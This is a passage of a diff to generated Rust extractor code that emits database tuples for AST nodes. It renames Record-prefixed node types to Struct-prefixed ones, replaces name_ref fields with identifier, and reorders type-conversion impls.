     pub parenthesized_arg_list: Option<trap::Label<ParenthesizedArgList>>,
     pub ret_type: Option<trap::Label<RetTypeRepr>>,
     pub return_type_syntax: Option<trap::Label<ReturnTypeSyntax>>,
@@ -2010,8 +2097,8 @@ impl trap::TrapEntry for PathSegment {
         if let Some(v) = self.generic_arg_list {
             out.add_tuple("path_segment_generic_arg_lists", vec![id.into(), v.into()]);
         }
-        if let Some(v) = self.name_ref {
-            out.add_tuple("path_segment_name_refs", vec![id.into(), v.into()]);
+        if let Some(v) = self.identifier {
+            out.add_tuple("path_segment_identifiers", vec![id.into(), v.into()]);
         }
         if let Some(v) = self.parenthesized_arg_list {
             out.add_tuple("path_segment_parenthesized_arg_lists", vec![id.into(), v.into()]);
@@ -2047,18 +2134,18 @@ impl From<trap::Label<PathSegment>> for trap::Label<AstNode> {
     }
 }
 
-impl From<trap::Label<PathSegment>> for trap::Label<Element> {
+impl From<trap::Label<PathSegment>> for trap::Label<Locatable> {
     fn from(value: trap::Label<PathSegment>) -> Self {
-        // SAFETY: this is safe because in the dbscheme PathSegment is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme PathSegment is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<PathSegment>> for trap::Label<Locatable> {
+impl From<trap::Label<PathSegment>> for trap::Label<Element> {
     fn from(value: trap::Label<PathSegment>) -> Self {
-        // SAFETY: this is safe because in the dbscheme PathSegment is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme PathSegment is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -2066,57 +2153,49 @@ impl From<trap::Label<PathSegment>> for trap::Label<Locatable> {
 }
 
 #[derive(Debug)]
-pub struct RecordExprField {
-    pub id: trap::TrapId<RecordExprField>,
-    pub attrs: Vec<trap::Label<Attr>>,
-    pub expr: Option<trap::Label<Expr>>,
-    pub name_ref: Option<trap::Label<NameRef>>,
+pub struct Rename {
+    pub id: trap::TrapId<Rename>,
+    pub name: Option<trap::Label<Name>>,
 }
 
-impl trap::TrapEntry for RecordExprField {
+impl trap::TrapEntry for Rename {
     fn extract_id(&mut self) -> trap::TrapId<Self> {
         std::mem::replace(&mut self.id, trap::TrapId::Star)
     }
 
     fn emit(self, id: trap::Label<Self>, out: &mut trap::Writer) {
-        out.add_tuple("record_expr_fields", vec![id.into()]);
-        for (i, v) in self.attrs.into_iter().enumerate() {
-            out.add_tuple("record_expr_field_attrs", vec![id.into(), i.into(), v.into()]);
-        }
-        if let Some(v) = self.expr {
-            out.add_tuple("record_expr_field_exprs", vec![id.into(), v.into()]);
-        }
-        if let Some(v) = self.name_ref {
-            out.add_tuple("record_expr_field_name_refs", vec![id.into(), v.into()]);
+        out.add_tuple("renames", vec![id.into()]);
+        if let Some(v) = self.name {
+            out.add_tuple("rename_names", vec![id.into(), v.into()]);
         }
     }
 }
 
-impl trap::TrapClass for RecordExprField {
-    fn class_name() -> &'static str { "RecordExprField" }
+impl trap::TrapClass for Rename {
+    fn class_name() -> &'static str { "Rename" }
 }
 
-impl From<trap::Label<RecordExprField>> for trap::Label<AstNode> {
-    fn from(value: trap::Label<RecordExprField>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordExprField is a subclass of AstNode
+impl From<trap::Label<Rename>> for trap::Label<AstNode> {
+    fn from(value: trap::Label<Rename>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Rename is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RecordExprField>> for trap::Label<Element> {
-    fn from(value: trap::Label<RecordExprField>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordExprField is a subclass of Element
+impl From<trap::Label<Rename>> for trap::Label<Locatable> {
+    fn from(value: trap::Label<Rename>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Rename is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RecordExprField>> for trap::Label<Locatable> {
-    fn from(value: trap::Label<RecordExprField>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordExprField is a subclass of Locatable
+impl From<trap::Label<Rename>> for trap::Label<Element> {
+    fn from(value: trap::Label<Rename>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Rename is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -2124,57 +2203,44 @@ impl From<trap::Label<RecordExprField>> for trap::Label<Locatable> {
 }
 
 #[derive(Debug)]
-pub struct RecordExprFieldList {
-    pub id: trap::TrapId<RecordExprFieldList>,
-    pub attrs: Vec<trap::Label<Attr>>,
-    pub fields: Vec<trap::Label<RecordExprField>>,
-    pub spread: Option<trap::Label<Expr>>,
+pub struct Resolvable {
+    _unused: ()
 }
 
-impl trap::TrapEntry for RecordExprFieldList {
-    fn extract_id(&mut self) -> trap::TrapId<Self> {
-        std::mem::replace(&mut self.id, trap::TrapId::Star)
+impl Resolvable {
+    pub fn emit_resolved_path(id: trap::Label<Self>, value: String, out: &mut trap::Writer) {
+        out.add_tuple("resolvable_resolved_paths", vec![id.into(), value.into()]);
     }
-
-    fn emit(self, id: trap::Label<Self>, out: &mut trap::Writer) {
-        out.add_tuple("record_expr_field_lists", vec![id.into()]);
-        for (i, v) in self.attrs.into_iter().enumerate() {
-            out.add_tuple("record_expr_field_list_attrs", vec![id.into(), i.into(), v.into()]);
-        }
-        for (i, v) in self.fields.into_iter().enumerate() {
-            out.add_tuple("record_expr_field_list_fields", vec![id.into(), i.into(), v.into()]);
-        }
-        if let Some(v) = self.spread {
-            out.add_tuple("record_expr_field_list_spreads", vec![id.into(), v.into()]);
-        }
+    pub fn emit_resolved_crate_origin(id: trap::Label<Self>, value: String, out: &mut trap::Writer) {
+        out.add_tuple("resolvable_resolved_crate_origins", vec![id.into(), value.into()]);
     }
 }
 
-impl trap::TrapClass for RecordExprFieldList {
-    fn class_name() -> &'static str { "RecordExprFieldList" }
+impl trap::TrapClass for Resolvable {
+    fn class_name() -> &'static str { "Resolvable" }
 }
 
-impl From<trap::Label<RecordExprFieldList>> for trap::Label<AstNode> {
-    fn from(value: trap::Label<RecordExprFieldList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordExprFieldList is a subclass of AstNode
+impl From<trap::Label<Resolvable>> for trap::Label<AstNode> {
+    fn from(value: trap::Label<Resolvable>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Resolvable is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RecordExprFieldList>> for trap::Label<Element> {
-    fn from(value: trap::Label<RecordExprFieldList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordExprFieldList is a subclass of Element
+impl From<trap::Label<Resolvable>> for trap::Label<Locatable> {
+    fn from(value: trap::Label<Resolvable>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Resolvable is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RecordExprFieldList>> for trap::Label<Locatable> {
-    fn from(value: trap::Label<RecordExprFieldList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordExprFieldList is a subclass of Locatable
+impl From<trap::Label<Resolvable>> for trap::Label<Element> {
+    fn from(value: trap::Label<Resolvable>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Resolvable is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -2182,61 +2248,49 @@ impl From<trap::Label<RecordExprFieldList>> for trap::Label<Locatable> {
 }
 
 #[derive(Debug)]
-pub struct RecordField {
-    pub id: trap::TrapId<RecordField>,
-    pub attrs: Vec<trap::Label<Attr>>,
-    pub name: Option<trap::Label<Name>>,
+pub struct RetTypeRepr {
+    pub id: trap::TrapId<RetTypeRepr>,
     pub type_repr: Option<trap::Label<TypeRepr>>,
-    pub visibility: Option<trap::Label<Visibility>>,
 }
 
-impl trap::TrapEntry for RecordField {
+impl trap::TrapEntry for RetTypeRepr {
     fn extract_id(&mut self) -> trap::TrapId<Self> {
         std::mem::replace(&mut self.id, trap::TrapId::Star)
     }
 
     fn emit(self, id: trap::Label<Self>, out: &mut trap::Writer) {
-        out.add_tuple("record_fields", vec![id.into()]);
-        for (i, v) in self.attrs.into_iter().enumerate() {
-            out.add_tuple("record_field_attrs", vec![id.into(), i.into(), v.into()]);
-        }
-        if let Some(v) = self.name {
-            out.add_tuple("record_field_names", vec![id.into(), v.into()]);
-        }
+        out.add_tuple("ret_type_reprs", vec![id.into()]);
         if let Some(v) = self.type_repr {
-            out.add_tuple("record_field_type_reprs", vec![id.into(), v.into()]);
-        }
-        if let Some(v) = self.visibility {
-            out.add_tuple("record_field_visibilities", vec![id.into(), v.into()]);
+            out.add_tuple("ret_type_repr_type_reprs", vec![id.into(), v.into()]);
         }
     }
 }
 
-impl trap::TrapClass for RecordField {
-    fn class_name() -> &'static str { "RecordField" }
+impl trap::TrapClass for RetTypeRepr {
+    fn class_name() -> &'static str { "RetTypeRepr" }
 }
 
-impl From<trap::Label<RecordField>> for trap::Label<AstNode> {
-    fn from(value: trap::Label<RecordField>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordField is a subclass of AstNode
+impl From<trap::Label<RetTypeRepr>> for trap::Label<AstNode> {
+    fn from(value: trap::Label<RetTypeRepr>) -> Self {
+        // SAFETY: this is safe because in the dbscheme RetTypeRepr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RecordField>> for trap::Label<Element> {
-    fn from(value: trap::Label<RecordField>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordField is a subclass of Element
+impl From<trap::Label<RetTypeRepr>> for trap::Label<Locatable> {
+    fn from(value: trap::Label<RetTypeRepr>) -> Self {
+        // SAFETY: this is safe because in the dbscheme RetTypeRepr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RecordField>> for trap::Label<Locatable> {
-    fn from(value: trap::Label<RecordField>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordField is a subclass of Locatable
+impl From<trap::Label<RetTypeRepr>> for trap::Label<Element> {
+    fn from(value: trap::Label<RetTypeRepr>) -> Self {
+        // SAFETY: this is safe because in the dbscheme RetTypeRepr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -2244,57 +2298,45 @@ impl From<trap::Label<RecordField>> for trap::Label<Locatable> {
 }
 
 #[derive(Debug)]
-pub struct RecordPatField {
-    pub id: trap::TrapId<RecordPatField>,
-    pub attrs: Vec<trap::Label<Attr>>,
-    pub name_ref: Option<trap::Label<NameRef>>,
-    pub pat: Option<trap::Label<Pat>>,
+pub struct ReturnTypeSyntax {
+    pub id: trap::TrapId<ReturnTypeSyntax>,
 }
 
-impl trap::TrapEntry for RecordPatField {
+impl trap::TrapEntry for ReturnTypeSyntax {
     fn extract_id(&mut self) -> trap::TrapId<Self> {
         std::mem::replace(&mut self.id, trap::TrapId::Star)
     }
 
     fn emit(self, id: trap::Label<Self>, out: &mut trap::Writer) {
-        out.add_tuple("record_pat_fields", vec![id.into()]);
-        for (i, v) in self.attrs.into_iter().enumerate() {
-            out.add_tuple("record_pat_field_attrs", vec![id.into(), i.into(), v.into()]);
-        }
-        if let Some(v) = self.name_ref {
-            out.add_tuple("record_pat_field_name_refs", vec![id.into(), v.into()]);
-        }
-        if let Some(v) = self.pat {
-            out.add_tuple("record_pat_field_pats", vec![id.into(), v.into()]);
-        }
+        out.add_tuple("return_type_syntaxes", vec![id.into()]);
     }
 }
 
-impl trap::TrapClass for RecordPatField {
-    fn class_name() -> &'static str { "RecordPatField" }
+impl trap::TrapClass for ReturnTypeSyntax {
+    fn class_name() -> &'static str { "ReturnTypeSyntax" }
 }
 
-impl From<trap::Label<RecordPatField>> for trap::Label<AstNode> {
-    fn from(value: trap::Label<RecordPatField>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordPatField is a subclass of AstNode
+impl From<trap::Label<ReturnTypeSyntax>> for trap::Label<AstNode> {
+    fn from(value: trap::Label<ReturnTypeSyntax>) -> Self {
+        // SAFETY: this is safe because in the dbscheme ReturnTypeSyntax is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RecordPatField>> for trap::Label<Element> {
-    fn from(value: trap::Label<RecordPatField>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordPatField is a subclass of Element
+impl From<trap::Label<ReturnTypeSyntax>> for trap::Label<Locatable> {
+    fn from(value: trap::Label<ReturnTypeSyntax>) -> Self {
+        // SAFETY: this is safe because in the dbscheme ReturnTypeSyntax is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RecordPatField>> for trap::Label<Locatable> {
-    fn from(value: trap::Label<RecordPatField>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordPatField is a subclass of Locatable
+impl From<trap::Label<ReturnTypeSyntax>> for trap::Label<Element> {
+    fn from(value: trap::Label<ReturnTypeSyntax>) -> Self {
+        // SAFETY: this is safe because in the dbscheme ReturnTypeSyntax is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -2302,53 +2344,53 @@ impl From<trap::Label<RecordPatField>> for trap::Label<Locatable> {
 }
 
 #[derive(Debug)]
-pub struct RecordPatFieldList {
-    pub id: trap::TrapId<RecordPatFieldList>,
-    pub fields: Vec<trap::Label<RecordPatField>>,
-    pub rest_pat: Option<trap::Label<RestPat>>,
+pub struct SourceFile {
+    pub id: trap::TrapId<SourceFile>,
+    pub attrs: Vec<trap::Label<Attr>>,
+    pub items: Vec<trap::Label<Item>>,
 }
 
-impl trap::TrapEntry for RecordPatFieldList {
+impl trap::TrapEntry for SourceFile {
     fn extract_id(&mut self) -> trap::TrapId<Self> {
         std::mem::replace(&mut self.id, trap::TrapId::Star)
     }
 
     fn emit(self, id: trap::Label<Self>, out: &mut trap::Writer) {
-        out.add_tuple("record_pat_field_lists", vec![id.into()]);
-        for (i, v) in self.fields.into_iter().enumerate() {
-            out.add_tuple("record_pat_field_list_fields", vec![id.into(), i.into(), v.into()]);
+        out.add_tuple("source_files", vec![id.into()]);
+        for (i, v) in self.attrs.into_iter().enumerate() {
+            out.add_tuple("source_file_attrs", vec![id.into(), i.into(), v.into()]);
         }
-        if let Some(v) = self.rest_pat {
-            out.add_tuple("record_pat_field_list_rest_pats", vec![id.into(), v.into()]);
+        for (i, v) in self.items.into_iter().enumerate() {
+            out.add_tuple("source_file_items", vec![id.into(), i.into(), v.into()]);
         }
     }
 }
 
-impl trap::TrapClass for RecordPatFieldList {
-    fn class_name() -> &'static str { "RecordPatFieldList" }
+impl trap::TrapClass for SourceFile {
+    fn class_name() -> &'static str { "SourceFile" }
 }
 
-impl From<trap::Label<RecordPatFieldList>> for trap::Label<AstNode> {
-    fn from(value: trap::Label<RecordPatFieldList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordPatFieldList is a subclass of AstNode
+impl From<trap::Label<SourceFile>> for trap::Label<AstNode> {
+    fn from(value: trap::Label<SourceFile>) -> Self {
+        // SAFETY: this is safe because in the dbscheme SourceFile is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RecordPatFieldList>> for trap::Label<Element> {
-    fn from(value: trap::Label<RecordPatFieldList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordPatFieldList is a subclass of Element
+impl From<trap::Label<SourceFile>> for trap::Label<Locatable> {
+    fn from(value: trap::Label<SourceFile>) -> Self {
+        // SAFETY: this is safe because in the dbscheme SourceFile is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RecordPatFieldList>> for trap::Label<Locatable> {
-    fn from(value: trap::Label<RecordPatFieldList>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordPatFieldList is a subclass of Locatable
+impl From<trap::Label<SourceFile>> for trap::Label<Element> {
+    fn from(value: trap::Label<SourceFile>) -> Self {
+        // SAFETY: this is safe because in the dbscheme SourceFile is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -2356,49 +2398,35 @@ impl From<trap::Label<RecordPatFieldList>> for trap::Label<Locatable> {
 }
 
 #[derive(Debug)]
-pub struct Rename {
-    pub id: trap::TrapId<Rename>,
-    pub name: Option<trap::Label<Name>>,
-}
-
-impl trap::TrapEntry for Rename {
-    fn extract_id(&mut self) -> trap::TrapId<Self> {
-        std::mem::replace(&mut self.id, trap::TrapId::Star)
-    }
-
-    fn emit(self, id: trap::Label<Self>, out: &mut trap::Writer) {
-        out.add_tuple("renames", vec![id.into()]);
-        if let Some(v) = self.name {
-            out.add_tuple("rename_names", vec![id.into(), v.into()]);
-        }
-    }
+pub struct Stmt {
+    _unused: ()
 }
 
-impl trap::TrapClass for Rename {
-    fn class_name() -> &'static str { "Rename" }
+impl trap::TrapClass for Stmt {
+    fn class_name() -> &'static str { "Stmt" }
 }
 
-impl From<trap::Label<Rename>> for trap::Label<AstNode> {
-    fn from(value: trap::Label<Rename>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Rename is a subclass of AstNode
+impl From<trap::Label<Stmt>> for trap::Label<AstNode> {
+    fn from(value: trap::Label<Stmt>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Stmt is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Rename>> for trap::Label<Element> {
-    fn from(value: trap::Label<Rename>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Rename is a subclass of Element
+impl From<trap::Label<Stmt>> for trap::Label<Locatable> {
+    fn from(value: trap::Label<Stmt>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Stmt is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Rename>> for trap::Label<Locatable> {
-    fn from(value: trap::Label<Rename>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Rename is a subclass of Locatable
+impl From<trap::Label<Stmt>> for trap::Label<Element> {
+    fn from(value: trap::Label<Stmt>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Stmt is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -2406,44 +2434,57 @@ impl From<trap::Label<Rename>> for trap::Label<Locatable> {
 }
 
 #[derive(Debug)]
-pub struct Resolvable {
-    _unused: ()
+pub struct StmtList {
+    pub id: trap::TrapId<StmtList>,
+    pub attrs: Vec<trap::Label<Attr>>,
+    pub statements: Vec<trap::Label<Stmt>>,
+    pub tail_expr: Option<trap::Label<Expr>>,
 }
 
-impl Resolvable {
-    pub fn emit_resolved_path(id: trap::Label<Self>, value: String, out: &mut trap::Writer) {
-        out.add_tuple("resolvable_resolved_paths", vec![id.into(), value.into()]);
+impl trap::TrapEntry for StmtList {
+    fn extract_id(&mut self) -> trap::TrapId<Self> {
+        std::mem::replace(&mut self.id, trap::TrapId::Star)
     }
-    pub fn emit_resolved_crate_origin(id: trap::Label<Self>, value: String, out: &mut trap::Writer) {
-        out.add_tuple("resolvable_resolved_crate_origins", vec![id.into(), value.into()]);
+
+    fn emit(self, id: trap::Label<Self>, out: &mut trap::Writer) {
+        out.add_tuple("stmt_lists", vec![id.into()]);
+        for (i, v) in self.attrs.into_iter().enumerate() {
+            out.add_tuple("stmt_list_attrs", vec![id.into(), i.into(), v.into()]);
+        }
+        for (i, v) in self.statements.into_iter().enumerate() {
+            out.add_tuple("stmt_list_statements", vec![id.into(), i.into(), v.into()]);
+        }
+        if let Some(v) = self.tail_expr {
+            out.add_tuple("stmt_list_tail_exprs", vec![id.into(), v.into()]);
+        }
     }
 }
 
-impl trap::TrapClass for Resolvable {
-    fn class_name() -> &'static str { "Resolvable" }
+impl trap::TrapClass for StmtList {
+    fn class_name() -> &'static str { "StmtList" }
 }
 
-impl From<trap::Label<Resolvable>> for trap::Label<AstNode> {
-    fn from(value: trap::Label<Resolvable>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Resolvable is a subclass of AstNode
+impl From<trap::Label<StmtList>> for trap::Label<AstNode> {
+    fn from(value: trap::Label<StmtList>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StmtList is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Resolvable>> for trap::Label<Element> {
-    fn from(value: trap::Label<Resolvable>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Resolvable is a subclass of Element
+impl From<trap::Label<StmtList>> for trap::Label<Locatable> {
+    fn from(value: trap::Label<StmtList>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StmtList is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Resolvable>> for trap::Label<Locatable> {
-    fn from(value: trap::Label<Resolvable>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Resolvable is a subclass of Locatable
+impl From<trap::Label<StmtList>> for trap::Label<Element> {
+    fn from(value: trap::Label<StmtList>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StmtList is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -2451,49 +2492,57 @@ impl From<trap::Label<Resolvable>> for trap::Label<Locatable> {
 }
 
 #[derive(Debug)]
-pub struct RetTypeRepr {
-    pub id: trap::TrapId<RetTypeRepr>,
-    pub type_repr: Option<trap::Label<TypeRepr>>,
+pub struct StructExprField {
+    pub id: trap::TrapId<StructExprField>,
+    pub attrs: Vec<trap::Label<Attr>>,
+    pub expr: Option<trap::Label<Expr>>,
+    pub identifier: Option<trap::Label<NameRef>>,
 }
 
-impl trap::TrapEntry for RetTypeRepr {
+impl trap::TrapEntry for StructExprField {
     fn extract_id(&mut self) -> trap::TrapId<Self> {
         std::mem::replace(&mut self.id, trap::TrapId::Star)
     }
 
     fn emit(self, id: trap::Label<Self>, out: &mut trap::Writer) {
-        out.add_tuple("ret_type_reprs", vec![id.into()]);
-        if let Some(v) = self.type_repr {
-            out.add_tuple("ret_type_repr_type_reprs", vec![id.into(), v.into()]);
+        out.add_tuple("struct_expr_fields", vec![id.into()]);
+        for (i, v) in self.attrs.into_iter().enumerate() {
+            out.add_tuple("struct_expr_field_attrs", vec![id.into(), i.into(), v.into()]);
+        }
+        if let Some(v) = self.expr {
+            out.add_tuple("struct_expr_field_exprs", vec![id.into(), v.into()]);
+        }
+        if let Some(v) = self.identifier {
+            out.add_tuple("struct_expr_field_identifiers", vec![id.into(), v.into()]);
         }
     }
 }
 
-impl trap::TrapClass for RetTypeRepr {
-    fn class_name() -> &'static str { "RetTypeRepr" }
+impl trap::TrapClass for StructExprField {
+    fn class_name() -> &'static str { "StructExprField" }
 }
 
-impl From<trap::Label<RetTypeRepr>> for trap::Label<AstNode> {
-    fn from(value: trap::Label<RetTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RetTypeRepr is a subclass of AstNode
+impl From<trap::Label<StructExprField>> for trap::Label<AstNode> {
+    fn from(value: trap::Label<StructExprField>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructExprField is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RetTypeRepr>> for trap::Label<Element> {
-    fn from(value: trap::Label<RetTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RetTypeRepr is a subclass of Element
+impl From<trap::Label<StructExprField>> for trap::Label<Locatable> {
+    fn from(value: trap::Label<StructExprField>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructExprField is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RetTypeRepr>> for trap::Label<Locatable> {
-    fn from(value: trap::Label<RetTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RetTypeRepr is a subclass of Locatable
+impl From<trap::Label<StructExprField>> for trap::Label<Element> {
+    fn from(value: trap::Label<StructExprField>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructExprField is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -2501,45 +2550,57 @@ impl From<trap::Label<RetTypeRepr>> for trap::Label<Locatable> {
 }
 
 #[derive(Debug)]
-pub struct ReturnTypeSyntax {
-    pub id: trap::TrapId<ReturnTypeSyntax>,
+pub struct StructExprFieldList {
+    pub id: trap::TrapId<StructExprFieldList>,
+    pub attrs: Vec<trap::Label<Attr>>,
+    pub fields: Vec<trap::Label<StructExprField>>,
+    pub spread: Option<trap::Label<Expr>>,
 }
 
-impl trap::TrapEntry for ReturnTypeSyntax {
+impl trap::TrapEntry for StructExprFieldList {
     fn extract_id(&mut self) -> trap::TrapId<Self> {
         std::mem::replace(&mut self.id, trap::TrapId::Star)
     }
 
     fn emit(self, id: trap::Label<Self>, out: &mut trap::Writer) {
-        out.add_tuple("return_type_syntaxes", vec![id.into()]);
+        out.add_tuple("struct_expr_field_lists", vec![id.into()]);
+        for (i, v) in self.attrs.into_iter().enumerate() {
+            out.add_tuple("struct_expr_field_list_attrs", vec![id.into(), i.into(), v.into()]);
+        }
+        for (i, v) in self.fields.into_iter().enumerate() {
+            out.add_tuple("struct_expr_field_list_fields", vec![id.into(), i.into(), v.into()]);
+        }
+        if let Some(v) = self.spread {
+            out.add_tuple("struct_expr_field_list_spreads", vec![id.into(), v.into()]);
+        }
     }
 }
 
-impl trap::TrapClass for ReturnTypeSyntax {
-    fn class_name() -> &'static str { "ReturnTypeSyntax" }
+impl trap::TrapClass for StructExprFieldList {
+    fn class_name() -> &'static str { "StructExprFieldList" }
 }
 
-impl From<trap::Label<ReturnTypeSyntax>> for trap::Label<AstNode> {
-    fn from(value: trap::Label<ReturnTypeSyntax>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ReturnTypeSyntax is a subclass of AstNode
+impl From<trap::Label<StructExprFieldList>> for trap::Label<AstNode> {
+    fn from(value: trap::Label<StructExprFieldList>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructExprFieldList is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ReturnTypeSyntax>> for trap::Label<Element> {
-    fn from(value: trap::Label<ReturnTypeSyntax>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ReturnTypeSyntax is a subclass of Element
+impl From<trap::Label<StructExprFieldList>> for trap::Label<Locatable> {
+    fn from(value: trap::Label<StructExprFieldList>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructExprFieldList is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ReturnTypeSyntax>> for trap::Label<Locatable> {
-    fn from(value: trap::Label<ReturnTypeSyntax>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ReturnTypeSyntax is a subclass of Locatable
+impl From<trap::Label<StructExprFieldList>> for trap::Label<Element> {
+    fn from(value: trap::Label<StructExprFieldList>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructExprFieldList is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -2547,53 +2608,65 @@ impl From<trap::Label<ReturnTypeSyntax>> for trap::Label<Locatable> {
 }
 
 #[derive(Debug)]
-pub struct SourceFile {
-    pub id: trap::TrapId<SourceFile>,
+pub struct StructField {
+    pub id: trap::TrapId<StructField>,
     pub attrs: Vec<trap::Label<Attr>>,
-    pub items: Vec<trap::Label<Item>>,
+    pub default: Option<trap::Label<Expr>>,
+    pub name: Option<trap::Label<Name>>,
+    pub type_repr: Option<trap::Label<TypeRepr>>,
+    pub visibility: Option<trap::Label<Visibility>>,
 }
 
-impl trap::TrapEntry for SourceFile {
+impl trap::TrapEntry for StructField {
     fn extract_id(&mut self) -> trap::TrapId<Self> {
         std::mem::replace(&mut self.id, trap::TrapId::Star)
     }
 
     fn emit(self, id: trap::Label<Self>, out: &mut trap::Writer) {
-        out.add_tuple("source_files", vec![id.into()]);
+        out.add_tuple("struct_fields", vec![id.into()]);
         for (i, v) in self.attrs.into_iter().enumerate() {
-            out.add_tuple("source_file_attrs", vec![id.into(), i.into(), v.into()]);
+            out.add_tuple("struct_field_attrs", vec![id.into(), i.into(), v.into()]);
         }
-        for (i, v) in self.items.into_iter().enumerate() {
-            out.add_tuple("source_file_items", vec![id.into(), i.into(), v.into()]);
+        if let Some(v) = self.default {
+            out.add_tuple("struct_field_defaults", vec![id.into(), v.into()]);
+        }
+        if let Some(v) = self.name {
+            out.add_tuple("struct_field_names", vec![id.into(), v.into()]);
+        }
+        if let Some(v) = self.type_repr {
+            out.add_tuple("struct_field_type_reprs", vec![id.into(), v.into()]);
+        }
+        if let Some(v) = self.visibility {
+            out.add_tuple("struct_field_visibilities", vec![id.into(), v.into()]);
         }
     }
 }
 
-impl trap::TrapClass for SourceFile {
-    fn class_name() -> &'static str { "SourceFile" }
+impl trap::TrapClass for StructField {
+    fn class_name() -> &'static str { "StructField" }
 }
 
-impl From<trap::Label<SourceFile>> for trap::Label<AstNode> {
-    fn from(value: trap::Label<SourceFile>) -> Self {
-        // SAFETY: this is safe because in the dbscheme SourceFile is a subclass of AstNode
+impl From<trap::Label<StructField>> for trap::Label<AstNode> {
+    fn from(value: trap::Label<StructField>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructField is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
